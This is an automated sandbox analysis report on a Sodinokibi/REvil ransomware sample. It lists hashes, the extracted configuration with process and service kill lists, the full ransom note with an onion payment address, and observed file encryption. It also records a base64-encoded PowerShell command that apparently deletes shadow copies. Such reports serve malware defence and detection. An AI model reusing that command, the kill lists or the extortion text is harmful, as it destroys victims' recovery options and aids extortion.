Analysis
-
max time kernel
78s -
max time network
113s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
04-05-2021 14:25
Static task
static1
Behavioral task
behavioral1
Sample
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe
Resource
win10v20210408
General
-
Target
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe
-
Size
119KB
-
MD5
a4331ff805b0a8f2a2892777c224b65e
-
SHA1
2c5521077dd1a6f5f3558351370880aee9ab7c71
-
SHA256
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483
-
SHA512
786a6ffdd7206b0f11dd45921826e3685fe4b64b82b4fa26702a30dcb762d4310b3b55683a8c510175ed6a9086125156e676caa3220597f8ed7298f6cdc51799
Malware Config
Extracted
C:\o6s6f9-README.txt
http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion
Extracted
sodinokibi
$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6
58
-
net
false
-
pid
$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6
-
prc
vsnapvss
EnterpriseClient
firefox
infopath
cvd
tv_x64.exe
VeeamTransportSvc
steam
encsvc
mydesktopservice
outlook
synctime
ocssd
SAP
cvfwd
bengien
vxmon
bedbh
ocomm
ocautoupds
raw_agent_svc
oracle
disk+work
powerpnt
saposcol
sqbcoreservice
sapstartsrv
beserver
saphostexec
dbeng50
isqlplussvc
CVODS
DellSystemDetect
CVMountd
TeamViewer.exe
dbsnmp
thunderbird
mspub
wordpad
visio
benetns
QBCFMonitorService
TeamViewer_Service.exe
tv_w32.exe
QBIDPService
winword
thebat
VeeamDeploymentSvc
avagent
QBDBMgrN
mydesktopqos
xfssvccon
sql
tbirdconfig
CagService
pvlsvr
avscc
VeeamNFSSvc
onenote
excel
msaccess
agntsvc
-
ransom_oneliner
All of your files are encrypted! Find {EXT}-README.txt and follow instuctions
-
ransom_template
---=== Welcome. Again. ===--- [+] What's Happened? [+] Your files have been encrypted and currently unavailable. You can check it. All files in your system have {EXT} extension. By the way, everything is possible to recover (restore) but you should follow our instructions. Otherwise you can NEVER return your data. [+] What are our guarantees? [+] It's just a business and we care only about getting benefits. If we don't meet our obligations, nobody will deal with us. It doesn't hold our interest. So you can check the ability to restore your files. For this purpose you should visit our website where you can decrypt one file for free. That is our guarantee. It doesn't metter for us whether you cooperate with us or not. But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files. In practice - time is much more valuable than money. [+] How to get access to our website? [+] Use TOR browser: 1. Download and install TOR browser from this site: https://torproject.org/ 2. Visit our website: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion When you visit our website, put the following data into the input form: Key: {KEY} !!! DANGER !!! DON'T try to change files by yourself, DON'T use any third party software or antivirus solutions to restore your data - it may entail the private key damage and as a result all your data loss! !!! !!! !!! ONE MORE TIME: It's in your best interests to get your files back. From our side we (the best specialists in this sphere) ready to make everything for restoring but please do not interfere. !!! !!! !!
-
sub
58
-
svc
QBCFMonitorService
thebat
dbeng50
winword
dbsnmp
VeeamTransportSvc
disk+work
TeamViewer_Service.exe
firefox
QBIDPService
steam
onenote
CVMountd
cvd
VeeamDeploymentSvc
VeeamNFSSvc
bedbh
mydesktopqos
avscc
infopath
cvfwd
excel
beserver
powerpnt
mspub
synctime
QBDBMgrN
tv_w32.exe
EnterpriseClient
msaccess
ocssd
mydesktopservice
sqbcoreservice
CVODS
DellSystemDetect
oracle
ocautoupds
wordpad
visio
SAP
bengien
TeamViewer.exe
agntsvc
CagService
avagent
ocomm
outlook
saposcol
xfssvccon
isqlplussvc
pvlsvr
sql
tbirdconfig
vxmon
benetns
tv_x64.exe
encsvc
sapstartsrv
vsnapvss
raw_agent_svc
thunderbird
saphostexec
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Modifies extensions of user files 13 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exedescription ioc process File opened for modification \??\c:\users\admin\pictures\SendRename.tiff 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\ApproveWait.crw => \??\c:\users\admin\pictures\ApproveWait.crw.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\ImportSubmit.crw => \??\c:\users\admin\pictures\ImportSubmit.crw.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\InitializeConvert.tif => \??\c:\users\admin\pictures\InitializeConvert.tif.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\InstallSearch.png => \??\c:\users\admin\pictures\InstallSearch.png.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\SendRename.tiff => \??\c:\users\admin\pictures\SendRename.tiff.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\UpdateRegister.png => \??\c:\users\admin\pictures\UpdateRegister.png.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\users\admin\pictures\SyncExport.tiff 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\CopyRemove.tif => \??\c:\users\admin\pictures\CopyRemove.tif.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\DisableMove.tif => \??\c:\users\admin\pictures\DisableMove.tif.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\LockHide.crw => \??\c:\users\admin\pictures\LockHide.crw.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\SplitRead.raw => \??\c:\users\admin\pictures\SplitRead.raw.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File renamed C:\Users\Admin\Pictures\SyncExport.tiff => \??\c:\users\admin\pictures\SyncExport.tiff.o6s6f9 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exedescription ioc process File opened (read-only) \??\F: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\H: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\R: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\S: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\Y: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\E: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\G: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\I: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\J: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\L: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\M: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\N: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\T: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\A: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\B: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\O: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\P: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\U: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\W: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\Z: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\K: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\Q: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\V: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\X: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened (read-only) \??\D: 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\k6x.bmp" 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe -
Drops file in Program Files directory 29 IoCs
Processes:
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exedescription ioc process File opened for modification \??\c:\program files\ConvertFromResolve.asf 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\DisableConvertFrom.odp 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\ConnectComplete.reg 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\FindSelect.wps 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\OptimizeUninstall.tiff 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\RedoAdd.mov 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File created \??\c:\program files\o6s6f9-README.txt 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File created \??\c:\program files (x86)\o6s6f9-README.txt 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\DismountRevoke.mpeg 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\EnableUse.contact 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\EnterDeny.tiff 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\StepMove.xlsb 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\AssertResize.wav 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\DebugExit.doc 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\InstallConnect.odp 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\TraceUpdate.wma 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\ConvertFormat.pot 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\RenameFormat.inf 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\ResumeUse.tiff 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\LockUnregister.contact 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\ProtectExit.wma 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\ShowCompress.DVR 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\SwitchConfirm.ods 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\StopUpdate.vbe 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\DenyUnregister.m4a 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\RedoDeny.wax 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\ResumeOptimize.otf 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\SkipClose.mp3 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe File opened for modification \??\c:\program files\StepTest.dwg 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exepowershell.exepid process 564 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe 564 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe 2992 powershell.exe 2992 powershell.exe 2992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 564 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe Token: SeDebugPrivilege 2992 powershell.exe Token: SeBackupPrivilege 3956 vssvc.exe Token: SeRestorePrivilege 3956 vssvc.exe Token: SeAuditPrivilege 3956 vssvc.exe Token: SeTakeOwnershipPrivilege 564 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exedescription pid process target process PID 564 wrote to memory of 2992 564 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe powershell.exe PID 564 wrote to memory of 2992 564 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe"C:\Users\Admin\AppData\Local\Temp\329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/564-114-0x00000000009D0000-0x00000000009F0000-memory.dmpFilesize
128KB
-
memory/2992-115-0x0000000000000000-mapping.dmp
-
memory/2992-121-0x000002B01BE40000-0x000002B01BE41000-memory.dmpFilesize
4KB
-
memory/2992-124-0x000002B034B00000-0x000002B034B01000-memory.dmpFilesize
4KB
-
memory/2992-130-0x000002B01B963000-0x000002B01B965000-memory.dmpFilesize
8KB
-
memory/2992-129-0x000002B01B960000-0x000002B01B962000-memory.dmpFilesize
8KB
-
memory/2992-136-0x000002B01B966000-0x000002B01B968000-memory.dmpFilesize
8KB